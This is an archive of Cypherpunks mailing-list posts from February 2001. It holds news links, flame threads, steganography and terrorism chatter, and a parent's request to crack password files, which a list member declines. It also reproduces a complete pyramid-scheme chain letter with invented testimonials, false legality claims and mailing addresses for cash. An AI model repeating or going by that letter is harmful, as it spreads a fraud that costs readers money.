experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'




From jchoate at dev.tivoli.com  Tue Feb  6 11:02:03 2001
From: jchoate at dev.tivoli.com (Jim Choate)
Date: Tue, 06 Feb 2001 13:02:03 -0600
Subject: CNN.com - Sci-Tech - Cryptologist sees digital signature flaw, fix - 
 February 6, 2001
Message-ID: <3A804A2B.53A7F64C@dev.tivoli.com>


http://www.cnn.com/2001/TECH/internet/02/06/DSA.flaw.idg/index.html
-- 
   The Laws of Serendipity:

   1. In order to discover anything, you must be looking
      for something.

   2. If you wish to make an improved product, you must
      first be engaged in making an inferior one.  

   Tivoli Certification Group, OSCT
   James Choate                           jchoate at tivoli.com
   Senior Engineer                        512-436-1062




From graeme_lord at telus.net  Tue Feb  6 13:11:00 2001
From: graeme_lord at telus.net (Graeme)
Date: Tue, 06 Feb 2001 13:11:00 -0800
Subject: ha ha
References: <2af1e9508155cebd8317d764623515fd@remailer.privacy.at>
Message-ID: <3A806864.4FFCEFFA@telus.net>


Why doesn't somebody here take the dumb fuck out?

Anonymous wrote:

> Hi
>
> How stupid is this ha ha sender really?
> Does he not understand that everyone by now know he sends a virus file out?




From tom at ricardo.de  Tue Feb  6 04:23:48 2001
From: tom at ricardo.de (Tom)
Date: Tue, 06 Feb 2001 13:23:48 +0100
Subject: War On Drugs Targets Tech
References: <Pine.LNX.4.21.0102031855440.29910-100000@bolt.sonic.net> <3A7E8A39.86C9D6FA@ccs.bbk.ac.uk>
Message-ID: <3A7FECD4.F58CAB3@ricardo.de>


Ken Brown wrote:
> 
> Don't forget the lawyers & accountants. That's the real way to make
> money out of crime - work for the criminals in a legitimate job.

not only that. every criminal gives a job to TWO lawyers (or three, if
you want to count the judge in as well).

every law means bread&butter for another lawyer. two if it's
complicated, three if it contradicts itself or some other law.




From George at Orwellian.Org  Tue Feb  6 11:21:21 2001
From: George at Orwellian.Org (George at Orwellian.Org)
Date: Tue, 6 Feb 2001 14:21:21 -0500 (EST)
Subject: URL spam
Message-ID: <200102061921.OAA22609@www2.aa.psiweb.com>


#   From: "Trei, Peter" <ptrei at rsasecurity.com>
#    
#    He's getting better. Jim's posts used to consist of a cryptic 
#    subject line, the URL, and the entire HTML page (sometimes 10's 
#    of kb) included as an attachment.
#    
#    Just a cryptic subject line and a URL are a big improvement. 
#    It's my hope that one day he'll also add a descriptive line or 
#    two to his posts, so we can decide whether to check the full 
#    article.

Yeah, he over-compensated in response to complaints.

So now he's got a signature several times larger than his content.

If only the weirdo would put a single paragraph blurb with the URL,
and bunch them up into one post once a day. Like Declan & Politech.

Right now he's like a kid with an impulsive urge he can't control.

I wonder if he wets his chair anytime he feels like it too.




From adam at homeport.org  Tue Feb  6 11:42:13 2001
From: adam at homeport.org (Adam Shostack)
Date: Tue, 6 Feb 2001 14:42:13 -0500
Subject: Horsemen make USA today
Message-ID: <20010206144213.A12183@weathership.homeport.org>


http://www.usatoday.com/life/cyber/tech/2001-02-05-binladen.htm

Is Will Rogers no longer there?  

Adam



-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume





From hi_tech_services at e247.com  Tue Feb  6 17:10:50 2001
From: hi_tech_services at e247.com (Hi Tech Services)
Date: Tue, 6 Feb 2001 17:10:50 -0800 (PST)
Subject: Dear Friends & Future Millionaire: 
Message-ID: <419.436928.19507512hi_tech_services@e247.com>



AS SEEN ON NATIONAL TV: 
Making over half million dollars every 4 to 5 months from your home for 
an investment of only $25 U.S. Dollars expense one time 
THANK'S TO THE COMPUTER AGE AND THE INTERNET ! 
================================================== 
BE A MILLIONAIRE LIKE OTHERS WITHIN A YEAR!!! 
Before you say ''Bull'', please read the following. This is the letter you 
have been hearing about on the news lately. Due to the popularity of 
this letter on the Internet, a national weekly news program recently devoted 
an entire show to the investigation of this program described below, to see 
if it really can make people money. The show also investigated whether or 
not the program was legal. 
Their findings proved once and for all that there are ''absolutely NO Laws 
prohibiting the participation in the program and if people can -follow the 
simple instructions, they are bound to make some mega bucks with only 
$25 out of pocket cost''. DUE TO THE RECENT INCREASE OF 
POPULARITY & RESPECT THIS PROGRAM HAS ATTAINED, 
IT IS CURRENTLY WORKING BETTER THAN EVER. 
This is what one had to say: ''Thanks to this profitable opportunity. I 
was approached many times before but each time I passed on it. I am 
so gladI finally joined just to see what one could expect in return for the 
minimal effort and money required. To my astonishment, I received total $ 
610,470.00 in 21 weeks, with money still coming in." 
Pam Hedland, Fort Lee, New Jersey. 
=================================================== 
Here is another testimonial: "This program has been around for a long 
time but I never believed in it. But one day when I received this again 
in the mail I decided to gamble my $25 on it. I followed the simple 
instructions and walaa ..... 3 weeks later the money started to come in. 
First month I only made $240.00 but the next 2 months after that I made 
a total of $290,000.00. So far, in the past 8 months by re-entering the 
program, I have made over $710,000.00 and I am playing it again. The 
key to success in this program is to follow the simple steps and NOT change 
anything.'' More testimonials later but first, 
===== PRINT THIS NOW FOR YOUR FUTUREREFERENCE ====== 
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ 
If you would like to make at least $500,000 every 4 to 5 months easily and 
comfortably, please read the following...THEN READ IT AGAIN and AGAIN!!! 
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ 
FOLLOW THE SIMPLE INSTRUCTION BELOW AND YOUR FINANCIAL 
DREAMS WILL COME TRUE, GUARANTEED! INSTRUCTIONS: 
=====Order all 5 reports shown on the list below ===== 
For each report, send $5 CASH, THE NAME & NUMBER OF THE REPORT 
YOU ARE ORDERING and YOUR E-MAIL ADDRESS to the person whose 
name appears ON THAT LIST next to the report. MAKE SURE YOUR RETURN 
ADDRESS IS ON YOUR ENVELOPE TOP LEFT CORNER in case of any mail 
problems. 
=== When you place your order, make sure you order each of the 5 reports. 
You will need all 5 reports so that you can save them on your computer 
and resell them. YOUR TOTAL COST $5 X 5=$25.00. 
Within a few days you will receive, vie e-mail, each of the 5 reports from 
these 5 different individuals. Save them on your computer so they will be 
accessible for you to send to the 1,000's of people who will order them 
from you. Also make a floppy of these reports and keep it on your desk in 
case something happen to your computer. 
IMPORTANT - DO NOT alter the names of the people who are listed next 
to each report, or their sequence on the list, in any way other than what is 
instructed below in step '' 1 through 6 '' or you will loose out on majority 
of your profits. Once you understand the way this works, you will also see 
how it does not work if you change it. Remember, this method has been 
tested, and if you alter, it will NOT work !!! People have tried to put their 
friends/relatives names on all five thinking they could get all the money. But 
it does not work this way. Believe us, we all have tried to be greedy and then 
nothing happened. So Do Not try to change anything other than what is 
instructed. Because if you do, it will not work for you. 
Remember, honesty reaps the reward!!! 
1.... After you have ordered all 5 reports, take this advertisement and 
REMOVE the name & address of the person in REPORT # 5. This person 
has made it through the cycle and is no doubt counting their fortune. 
2.... Move the name & address in REPORT # 4 down TO REPORT # 5. 
3.... Move the name & address in REPORT # 3 down TO REPORT # 4. 
4.... Move the name & address in REPORT # 2 down TO REPORT # 3. 
5.... Move the name & address in REPORT # 1 down TO REPORT # 2 
6.... Insert YOUR name & address in the REPORT # 1 Position. PLEASE MAKE 
SURE you copy every name & address ACCURATELY! 
========================================================== 
**** Take this entire letter, with the modified list of names, and save it on your 
computer. DO NOT MAKE ANY OTHER CHANGES. 
Save this on a disk as well just in case if you loose any data. To assist you with 
marketing your business on the internet, the 5 reports you purchase will provide 
you with invaluable marketing information which includes how to send bulk 
e-mails legally, where to find thousands of free classified ads and much more. 
There are 2 Primary methods to get this venture going: 
METHOD # 1: BY SENDING BULK E-MAIL LEGALLY 
========================================================== 
Let's say that you decide to start small, just to see how it goes, and we will 
assume You and those involved send out only 5,000 e-mails each. Let's 
also assume that the mailing receive only a 0.2% response (the response 
could be much better but lets just say it is only 0.2%. Also many people 
will send out hundreds of thousands e-mails instead of only 5,000 each). 
Continuing with this example, you send out only 5,000 e-mails. With a 0.2% 
response, that is only 10 orders for report # 1. Those 10 people responded 
by sending out 5,000 e-mail each for a total of 50,000. Out of those 50,000 
e-mails only 0.2% responded with orders. That's=100 people responded and 
ordered Report # 2. 
Those 100 people mail out 5,000 e-mails each for a total of 500,000 e-mails. 
The 0.2% response to that is 1000 orders for Report # 3. 
Those 1000 people send out 5,000 e-mails each for a total of 5 million e-mails 
sent out. The 0.2% response to that is 10,000 orders for Report # 4. 
Those 10,000 people send out 5,000 e-mails each for a total of 50,000,000 
(50 million) e-mails. The 0.2% response to that is 100,000 orders for Report 
# 5 THAT'S 100,000 ORDERS TIMES $5 EACH=$500,000.00 (half million). 
Your total income in this example is: 1..... $50 + 2..... $500 + 3..... $5,000 + 4 
... $50,000 + 5..... $500,000 ........ Grand Total=$555,550.00 
NUMBERS DO NOT LIE. GET A PENCIL & PAPER AND FIGUREOUT 
THE WORST POSSIBLE RESPONSES AND NO MATTER HOW YOU 
CALCULATE IT, YOU WILL STILL MAKE A LOT OF MONEY ! 
========================================================= 
REMEMBER FRIEND, THIS IS ASSUMING ONLY 10 PEOPLE 
ORDERING OUT OF 5,000 YOU MAILED TO. 
Dare to think for a moment what would happen if everyone or half or even 
one 4th of those people mailed 100,000e-mails each or more? There are 
over 150 million people on the Internet worldwide and counting. Believe me, 
many people will do just that, and more! 
METHOD # 2 : BY PLACING FREE ADS ON THE INTERNET 
======================================================= 
Advertising on the net is very very inexpensive and there are hundreds 
of FREE places to advertise. Placing a lot of free ads on the Internet will 
easily get a larger response. We strongly suggest you start with Method # 1 
and dd METHOD # 2 as you go along. For every $5 you receive, all you 
must do is e-mail them the Report they ordered. That's it. Always provide 
same day service on all orders. 
This will guarantee that the e-mail they send out, with your name and 
address on it, will be prompt because they can not advertise until they 
receivethe report. 
=========== AVAILABLE REPORTS ==================== 
ORDER EACH REPORT BY ITS NUMBER & NAME ONLY. Notes: 
Always send $5 cash (U.S. CURRENCY) for each Report. Checks NOT 
accepted. Make sure the cash is concealed by wrapping it in at least 2 sheets 
of paper. On one of those sheets of paper, Write the NUMBER & the NAME 
of the Report you are ordering, YOUR E-MAIL ADDRESS and your name 
and postal address. 
PLACE YOUR ORDER FOR THESE REPORTS NOW : 
==================================================== 
REPORT# 1: The Insider's Guide to Advertising for Free on the Net
Order Report #1 from:

Ron Kidd                                                                                                                                             
P.O. Box 1833                                                                                                                                     
West Chester, Oh 45071                                                                                                                     
USA
________________________________________________________

REPORT # 2: The Insider's Guide to Sending Bulk e-mail on the Net
Order Report # 2 from:

R. Gabriele
PO Box 812
Holbrook, NY 11741
_________________________________________________________________
REPORT # 3: Secret to Multilevel marketing on the net
Order Report # 3 from :

Aaron Joseph
P.O. BOX 21155
Columbia Heights, MN 55421
USA

____________________________________________________________ 
REPORT # 4: "How to Become a Millionaire Utilizing MLM & the Net" 
Order Report # 4 from:

C.J. Kalata
P.O. Box 130157
Roseville, MN 55113-0002
USA

____________________________________________________________ 
REPORT #5: "How to Send Out 0ne Million e-mails for Free" 
Order Report # 5 from: 

B. Taylor 
P.O.Box 26001 
Fredericton, N.B. 
E3A 5V8 



____________________________________________________________ 
$$$$$$$$$ YOUR SUCCESS GUIDELINES $$$$$$$$$$$ 
Follow these guidelines to guarantee your success: 
=== If you do not receive at least 10 orders for Report #1 within 2 
weeks, continue sending e-mails until you do. 
=== After you have received 10 orders, 2 to 3 weeks after that you 
should receive 100 orders or more for REPORT # 2. If you did not, 
continue advertising or sending e-mails until you do. 
=== Once you have received 100 or more orders for Report # 2, YOU 
CAN RELAX, because the system is already working for you, and the 
cash will continue to roll in ! THIS IS IMPORTANT TO REMEMBER: 
Every time your name is moved down on the list, you are placed in front 
of a Different report. 
You can KEEP TRACK of your PROGRESS by watching which report 
people are ordering from you. IF YOU WANT TO GENERATE MORE 
INCOME SEND ANOTHER BATCH OF E-MAILS AND START 
THE WHOLE PROCESS AGAIN. 
There is NO LIMIT to the income you can generate from this business !!! 
====================================================== 
FOLLOWING IS A NOTE FROM THE ORIGINATOR OF THIS 
PROGRAM: You have just received information that can give you 
financial freedom for the rest of your life, with NO RISK and JUST 
A LITTLE BIT OF EFFORT. You can make more money in the next 
few weeks and months than you have ever imagined. Follow the program 
EXACTLY AS INSTRUCTED. Do Not change it in any way. It works 
exceedingly well as it is now. 
Remember to e-mail a copy of this exciting report after you have put 
your name and address in Report #1 and moved others to #2 ...........# 5 
as instructed above. One of the people you send this to may send out 
100,000 or more e-mails and your name will be on every one of them. 
Remember though, the more you send out the more potential customers 
you will reach. 
So my friend, I have given you the ideas, information, materials and 
opportunity to become financially independent. IT IS UP TO YOU NOW ! 
============ MORE TESTIMONIALS ================ 
"My name is Mitchell. My wife, Jody and I live in Chicago. I am an 
accountant with a major U.S. Corporation and I make pretty good money. 
When I received this program I grumbled to Jodyaboutreceiving ''junk 
mail''. I made fun of the whole thing,spoutingmy knowledge of the population 
and percentages involved. I ''knew'' it wouldn't work. Jody totally ignored 
my supposed intelligence and few days later she jumped in with both feet. I 
made merciless fun of her, and was ready to lay the old ''I told you so'' on 
her when the thing didn't work. Well, the laugh was on me! Within 3 weeks 
she had received 50 responses. Within the next 45 days she had received 
total $ 147,200.00 ........... all cash! I was shocked. I have joined Jody 
in her ''hobby''. 
Mitchell Wolf M.D., Chicago, Illinois 
====================================================== 
''Not being the gambling type, it took me several weeks to make up my 
mind to participate in this plan. But conservative that I am, I decided that 
the initial investment was so little that there was just no way that I 
wouldn't get enough orders to at least get my money back''. '' I was 
surprised when I found my medium size post office box crammed with 
orders. I made $319,210.00in the first 12 weeks. The nice thing about 
this deal is that it does not matter where people live. There simply isn't a 
better investment with a faster return and so big." 
Dan Sondstrom, Alberta, Canada 
======================================================= 
''I had received this program before. I deleted it, but later I wondered 
if I should have given it a try. Of course, I had no idea who to contact to 
get another copy, so I had to wait until I was e-mailed again by someone 
else.........11 months passed then it luckily came again...... I did not 
delete this one! I made more than $490,000 on my first try and all the 
money came within 22 weeks." 
Susan De Suza, New York, N.Y. 
======================================================= 
''It really is a great opportunity to make relatively easy money with 
little cost to you. I followed the simple instructions carefully and 
within 10 days the money started to come in. My first month I made 
$20,560.00 and by the end of third month my total cash count was 
$362,840.00. Life is beautiful, Thanx to internet.". 
Fred Dellaca, Westport, New Zealand 
======================================================= 
ORDER YOUR REPORTS TODAY AND GET STARTED ON 
'YOUR' ROAD TO FINANCIAL FREEDOM ! 
======================================================= 
If you have any questions of the legality of this program, contact the 
Office of Associate Director for Marketing Practices, Federal Trade 
Commission, Bureau of Consumer Protection, Washington, D.C. 




To remove yourself from this mailing list, click the link below and type the word 
"REMOVE" in the subject line.
mailto:Hi_Tech at e247.com




From galt at inconnu.isu.edu  Tue Feb  6 18:57:02 2001
From: galt at inconnu.isu.edu (John Galt)
Date: Tue, 6 Feb 2001 19:57:02 -0700 (MST)
Subject: ha ha
In-Reply-To: <2af1e9508155cebd8317d764623515fd@remailer.privacy.at>
Message-ID: <Pine.LNX.4.32.0102061955590.31434-100000@inconnu.isu.edu>



Look at the fucking headers.  The senders are usually the VICTIMS, not the
one spreading the virus.  Twit.

On Tue, 6 Feb 2001, Anonymous wrote:

>Hi
>
>How stupid is this ha ha sender really?
>Does he not understand that everyone by now know he sends a virus file out?
>
>

-- 
Armageddon means never having to say you're sorry.

Who is John Galt?  galt at inconnu.isu.edu, that's who!




From nobody at remailer.privacy.at  Tue Feb  6 11:33:01 2001
From: nobody at remailer.privacy.at (Anonymous)
Date: Tue, 6 Feb 2001 20:33:01 +0100
Subject: ha ha
Message-ID: <2af1e9508155cebd8317d764623515fd@remailer.privacy.at>


Hi

How stupid is this ha ha sender really?
Does he not understand that everyone by now know he sends a virus file out?





From ravage at einstein.ssz.com  Tue Feb  6 18:49:02 2001
From: ravage at einstein.ssz.com (Jim Choate)
Date: Tue, 6 Feb 2001 20:49:02 -0600 (CST)
Subject: WPI Cryptoseminar, Wednesday, Feb 7 (fwd)
Message-ID: <Pine.LNX.3.96.1010206204855.356b-100000@einstein.ssz.com>




    ____________________________________________________________________

           Before a larger group can see the virtue of an idea, a
           smaller group must first understand it.

                                           "Stranger Suns"
                                           George Zebrowski

       The Armadillo Group       ,::////;::-.          James Choate
       Austin, Tx               /:'///// ``::>/|/      ravage at ssz.com
       www.ssz.com            .',  ||||    `/( e\      512-451-7087
                           -====~~mm-'`-```-mm --'-
    --------------------------------------------------------------------

---------- Forwarded message ----------
Date: Tue, 6 Feb 2001 18:51:01 -0500
From: "R. A. Hettinga" <rah at shipwright.com>
To: cryptography at c2.net
Subject: WPI Cryptoseminar, Wednesday, Feb 7


--- begin forwarded text



From ravage at einstein.ssz.com  Tue Feb  6 21:45:31 2001
From: ravage at einstein.ssz.com (Jim Choate)
Date: Tue, 06 Feb 2001 23:45:31 -0600
Subject: Slashdot | Forget SuperDisks -- Try 32MB On A Floppy
Message-ID: <3A80E0FB.D7D56206@ssz.com>


http://slashdot.org/articles/01/02/06/1916200.shtml
-- 
    ____________________________________________________________________

           Before a larger group can see the virtue of an idea, a
           smaller group must first understand it.

                                           "Stranger Suns"
                                           George Zebrowski

       The Armadillo Group       ,::////;::-.          James Choate
       Austin, Tx               /:'///// ``::>/|/      ravage at ssz.com
       www.ssz.com            .',  ||||    `/( e\      512-451-7087
                           -====~~mm-'`-```-mm --'-
    --------------------------------------------------------------------




From abuse at microsoft.com  Tue Feb  6 06:00:10 2001
From: abuse at microsoft.com (Abuse at Microsoft)
Date: Wed, 7 Feb 2001 01:00:10 +1100
Subject: Blank Frank and Lori Banks
In-Reply-To: <200102052047.OAA04514@einstein.ssz.com>; from abuse@microsoft.com on Mon, Feb 05, 2001 at 12:24:55PM -0800
References: <200102052047.OAA04514@einstein.ssz.com>
Message-ID: <20010207010010.A54407@lanesbry.com>


Hello,

Thank you for contacting Cypherpunks.

The following email from Microsoft was inappropriately sent to a large
email list. Please don't do it again.

On Monday, 05 Feb 2001 at 12:24, Abuse at Microsoft <abuse at microsoft.com> wrote:
> Hello,
> 
> Thank you for contacting Microsoft.
>  
> I regret that you are receiving unwanted communication from this sender,
> and understand how this can be a frustrating experience. The e-mail 
> address you contacted is primarily intended for the reporting of abusive
> traffic coming from Microsoft's networks. Although your issue doesn't 
> appear to involve Microsoft directly, I have taken the liberty of 
> providing the following resources:
> 
> If you are receiving unwanted e-mail messages, you may consider using an
> e-mail filter or spam reporting service. Information on spam can be 
> found at the following web sites:
> http://www.abuse.net
> http://www.spam.abuse.net
> 
> If you want to identify the sender of an offending message, you may be 
> able to do so through one of the following web sites:
> http://visualroute.datametrics.com
> http://swhois.net
> 
> If you want to report an abusive Hotmail user, please send e-mail to 
> abuse at hotmail.com.
> 
> If you want to report an abusive WebTV user or WebTV spam, please send 
> e-mail to abuse at webtv.net. 
> 
> If you want to report an abusive MSN user, please submit feedback at the
> following web site: 
> http://memberservices.msn.com/us/default_feedback.asp.
> 
> If you are receiving unwanted newsletters from Microsoft.com, you may 
> unsubscribe by going to http://register.microsoft.com/regsys/pic.asp. 
> After you have signed in, click "Newsletters Subscribe/Unsubscribe" and 
> follow the directions to unsubscribe. If you have difficulties, please 
> send a copy of the offending newsletter to feedback at microsoft.com so 
> that we can update the record on your behalf. 
> 
> If you want to report spam sent to a Microsoft newsgroup, please send 
> e-mail to webmaster at microsoft.com. 
> 
> I sincerely hope this information is helpful to you. 
> 
> If you have any additional questions, please let us know by replying to 
> this message.
> 
> Thank you,
> 
> Josh
> Microsoft Online Customer Representative
> 
> Original Message Follows: 
> -------------------------
> You can always chat with MS about "fixing" the password problems.  If
> your child is a minor, you've got the right to access that information
> (and depending upon your state, maybe even if he isn't).
> -----Original Message-----
> From: Bill Stewart [mailto:bill.stewart at pobox.com]
> Sent: Thursday, January 25, 2001 12:35 AM
> To: Lori Banks; cypherpunks at toad.com
> Subject: Re: Blank Frank and Lori Banks
> At 07:51 AM 1/23/01 -0600, Lori Banks wrote:
> > I just read an interesting email that you sent concerning cracking
> .pwl
> files.  
> >I have a need to crack a .pwl file, but I don't know how to make that
> program work. 
> > I'm really not computer literate (if you can't tell).  
> >I am a concerned parent that has stumbled upon information that is 
> >not good regarding my teen and the Internet.  
> >Could you help me find out what these passwords are or how to work that
> program? 
> > I downloaded some sort of password pwl program and it showed 17
> passwords, 
> >but they are encrypted. Any help would be greatly appreciated.
> Thanks,
> Mrs. Banks  
> Mrs. Banks - Cypherpunks is a large, noisy mailing list.
> In addition to talking about cryptography, privacy, and the effects
> on economics and politics of being able to talk and conduct business
> without government interference, and random other topics,
> we end up receiving lots of mail from people pretending to be
> teenagers asking us about bombs, hacking, credit cards, etc.
> Some of them are clueless kiddies who think we'll tell them
> how to steal stuff to make bombs so they can be rilly kewl d00ds,
> some of them are annoying kiddies who've found they can stir up
> lots of annoyed discussion by posting provocative or clueless questions,
> and some are probably cops who think they can stir up business
> by finding people doing stuff with Bombs and Computer Crime
> that make good headline material.*
> So don't be surprised if readers like Blank Frank take you for 
> one of these three categories (start at the middle and work your way
> out),
> and either gives you the flames you're looking for or
> the abuse you deserve if you're one of the clueless types.
> Your message could be perfectly legitimate, but it's just
> dripping with troll bait....  We haven't had anybody
> saying their somebody's Mom who wants to break into her kid's
> machine before, but hey, there's a first time for everything.
> On the other hand, many of us were once teenagers who had
> parents who didn't understand us (what a surprise, eh?)
> and a request saying "I don't trust my kid and I want to crack
> his passwords to spy on him" isn't guaranteed to get more
> sympathy for you than for your kid.
> Anyway, that being said, there are only a few reasons for having
> lots of Microsoft password files around.  One is that your son has
> created
> lots of logins on your home computer, either for his friends to use
> or because he's creating lots of different identities for himself.
> The former is something you may want to talk to him about,
> depending on how much control you want to have over that computer
> (is it his bedroom game machine or are you running the family business
> on it?)
> Another is that he has logins of his own on multiple machines using
> Microsoft-style logins.   That's kind of odd - is he running a bunch
> of web pages on FrontPage-based servers, or is he cracking into
> corporate machines?
> The "17 passwords" is pretty close to a magic number, which is the
> number
> of "access devices" it takes for possessing stolen/cracked passwords
> to become a US Federal crime.  I forget if the number is 15,
> in which case by asking us to crack them you're asking us to
> commit a Federal crime (remember the discussion about cops trying
> to win friends and influence headlines through entrapment?),
> depending on whether you have authorization to access the machines
> that those passwords apply to (if you give us permission to crack the
> passwords for your own machine, it's not a crime, but if they're
> the passwords for your kid's publishing accounts on commercial porn
> sites,
> that might be criminal, and if they're for accounts your kid's
> trying to break into, or if you're really the kid or a cop,
> it could be criminal.)  
> So if you're thinking about breaking into your kid's machine,
> because you don't trust him, yes, you've got some relationship
> problems you'll have to deal with.  Not much different from asking
> your kid where he went and having him say "Out" - either you go
> ask all the neighbors where he went because he won't tell you,
> or you work on the relationship, or you hire a private detective
> to track him, just as you could probably hire Access Data or somebody
> to break his password files, if you were willing to risk criminality.
> I'd recommend going for the relationship....
> ===================
> *  (Perhaps some are even good cops trying to do what they think is 
> their job by stopping clueless kiddies from posting dangerous inaccurate
> information where more clueless kiddies will find it.  
> We do have some cops and Feds on the list that are open about it, 
> and they're good folks we go shooting with :-)
> 				Thanks! 
> 					Bill
> Bill Stewart, bill.stewart at pobox.com
> PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639
> .
> 
> 
> 
> 
> 




From nobody at remailer.privacy.at  Tue Feb  6 18:30:02 2001
From: nobody at remailer.privacy.at (Anonymous)
Date: Wed, 7 Feb 2001 03:30:02 +0100
Subject: CNN.com - Sci-Tech - Report: Bin Laden uses Web...
Message-ID: <de93cfd2efb7336a347ea16339e1fb68@remailer.privacy.at>


On 02/06/01, Choate wrote:

> http://www.cnn.com/2001/TECH/internet/02/06/terrorists.internet.ap/index.html

See below for an excerpt from a similar article at:
  http://www.usatoday.com/life/cyber/tech/2001-02-05-binladen.htm

I find interesting the mention of successful fedgov "supercomputer" use
and purported decryption times.  I wonder if a FOIA request would be
successful in revealing more details (encryption used, file/OS type,
precise amount of time the decryption took) since the FBI is apparently
feeling chatty.

[...]

  Khalil Deek, an alleged terrorist arrested in Pakistan in 1999, used
  encrypted computer files to plot bombings in Jordan at the turn of the
  millennium, U.S. officials say. Authorities found Deek's computer at his
  Peshawar, Pakistan, home and flew it to the National Security Agency
  in Fort Meade, Md. Mathematicians, using supercomputers, decoded
  the files, enabling the FBI to foil the plot.

  Ramzi Yousef, the convicted mastermind of the World Trade Center
  bombing in 1993, used encrypted files to hide details of a plot to
  destroy 11 U.S. airliners. Philippines officials found the computer in
  Yousef's Manila apartment in 1995. U.S. officials broke the encryption
  and foiled the plot. Two of the files, FBI officials say, took more
  than a year to decrypt.




From Thankyou at AdvisorTeam.com  Wed Feb  7 06:40:36 2001
From: Thankyou at AdvisorTeam.com (Thankyou at AdvisorTeam.com)
Date: 7 Feb 2001 06:40:36 -0800
Subject: Keirsey Test
Message-ID: <01da73640140721SATURN@saturn>




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From RUNTTOYBOX at aol.com  Wed Feb  7 04:01:03 2001
From: RUNTTOYBOX at aol.com (RUNTTOYBOX at aol.com)
Date: Wed, 7 Feb 2001 07:01:03 EST
Subject: stuffing envelopes
Message-ID: <4a.1129f282.27b292ff@aol.com>


I still have not received any thing from you. So now I guess I have to take a 
another step. Bernice Reed

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From NancyMadison at usa.com  Wed Feb  7 08:37:49 2001
From: NancyMadison at usa.com (NancyMadison at usa.com)
Date: Wed, 07 Feb 2001 08:37:49 -0800
Subject: Suspended or Revolked State Driver's License?
Message-ID: <adc45i5qcbqt1c.32q03nnnnlbv@ptd.net>


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From tcmay at got.net  Wed Feb  7 09:05:03 2001
From: tcmay at got.net (Tim May)
Date: Wed, 7 Feb 2001 09:05:03 -0800
Subject: stego for the censored II
In-Reply-To: <20010207102551.L30304@lemuria.org>
References: <20010207102551.L30304@lemuria.org>
Message-ID: <a05010400b6a72ec7d884@[207.111.241.188]>


At 10:25 AM +0100 2/7/01, Tom wrote:
>damn, it seems someone already did what I proposed a while ago under
>the thread "stego for the censored".
>if anyone in here has contacts to these terrorists, can you ask them for
>the software, please? maybe they want to GPL it so we can use it for other
>purposes as well? :)

Not that I want to claim credit for this use by terrorists, but you 
will find that I wrote about this precise use in the late 80s. The 
Kevin Kelly book, "Out of Control," had a long description of this 
kind of use, based on interviews he did with me in 1992.

And, of course, in 1992 there were numerous posts on this in 
Cypherpunks, by me and by others. The Apple consultant Romana Machado 
took these discussions and generated a little program she called 
"Stego," which put simple messages into GIF files. At least a couple 
of other stego programs were in use around this time, too. (This was 
circa 1993.)

 From the "U.S.A. Today" article, I believe _someone_ has been reading 
my articles from back then. They even refer to this stego use as 
"digital dead drops," a term I was using almost 10 years ago.

(It was utterly obvious to me, and perhaps to others, that the old 
dead drop of depositing written messages in Coke cans and leaving 
them at the base of oak trees was too low tech to take seriously. The 
bandwidth of the Net, and the vast number of places to tuck 
information unobtrusively, made it an obvious place for dead drops.)

And, as a matter of fact, when I was looking into this kind of stuff, 
there were already reports that a Mafia guy on the run was using the 
bulletin boards of the time to communicate with his wife and perhaps 
other associtates. He would log in to an obscure BBS or chat room of 
the day (I think it was on Compuserve) and leave simply-coded 
messages. A digital dead drop.


--Tim May


--Tim May
-- 
Timothy C. May         tcmay at got.net        Corralitos, California
Political: Co-founder Cypherpunks/crypto anarchy/Cyphernomicon
Technical: physics/soft errors/Smalltalk/Squeak/agents/games/Go
Personal: b.1951/UCSB/Intel '74-'86/retired/investor/motorcycles/guns




From djb at gci.net  Wed Feb  7 10:32:09 2001
From: djb at gci.net (Daniel J. Boone)
Date: Wed, 7 Feb 2001 09:32:09 -0900
Subject: ha ha
References: <2af1e9508155cebd8317d764623515fd@remailer.privacy.at> <3A806864.4FFCEFFA@telus.net>
Message-ID: <001d01c09134$47e523a0$7660ed18@juneau.ak.net>


> Why doesn't somebody here take the dumb fuck out?

Is there anybody here who's THAT hard up for a date?




From tom at ricardo.de  Wed Feb  7 01:25:52 2001
From: tom at ricardo.de (Tom)
Date: Wed, 7 Feb 2001 10:25:52 +0100
Subject: stego for the censored II
Message-ID: <20010207102551.L30304@lemuria.org>


damn, it seems someone already did what I proposed a while ago under
the thread "stego for the censored". 
if anyone in here has contacts to these terrorists, can you ask them for 
the software, please? maybe they want to GPL it so we can use it for other 
purposes as well? :)


----- Forwarded message from q/depesche <depesche at quintessenz.at> -----

Terror groups hide behind Web encryption

By Jack Kelley, Usa Taoday
WASHINGTON  Hidden in the X-rated pictures on several 
pornographic Web sites and the posted comments on sports 
chat rooms may lie the encrypted blueprints of the next 
terrorist attack against the United States or its allies. It 
sounds farfetched, but U.S. officials and experts say it's the 
latest method of communication being used by Osama bin 
Laden and his associates to outfox law enforcement. Bin 
Laden, indicted in the bombing in 1998 of two U.S. 
embassies in East Africa, and others are hiding maps and 
photographs of terrorist targets and posting instructions for 
terrorist activities on sports chat rooms, pornographic bulletin 
boards and other Web sites, U.S. and foreign officials say.

[...]

----- End forwarded message -----




From camelot2 at dsi-epubs.net  Wed Feb  7 02:41:24 2001
From: camelot2 at dsi-epubs.net (Camelot Events Reminder)
Date: Wed, 07 Feb 2001 10:41:24 +0000
Subject: Here's you're Free Invitation to XML DevCon Europe 2001
Message-ID: <200102071719.JAA08403@toad.com>


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(be sure to forward the ENTIRE message, or you may not be removed!)
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***DSIID60333<cypherpunks at toad.com>***




From alan at clueserver.org  Wed Feb  7 11:23:43 2001
From: alan at clueserver.org (Alan Olsen)
Date: Wed, 7 Feb 2001 11:23:43 -0800 (PST)
Subject: John Ashcroft's huge erect penis
In-Reply-To: <200102061552.KAA28518@www0.aa.psiweb.com>
Message-ID: <Pine.LNX.4.10.10102071121310.5729-100000@clueserver.org>


On Tue, 6 Feb 2001 George at Orwellian.Org wrote:

> Dumb and Dumber.
> 
> FoxNews.com,  Tuesday, February 6, 2001
> #    
> #    Report: Terrorists Using Internet to Plot Moves

The Oregonian had a big scare headline about this in the afternoon
edition, as did many other papers.

Either that are all doing "rip and read" or this is a pretty orchestrated
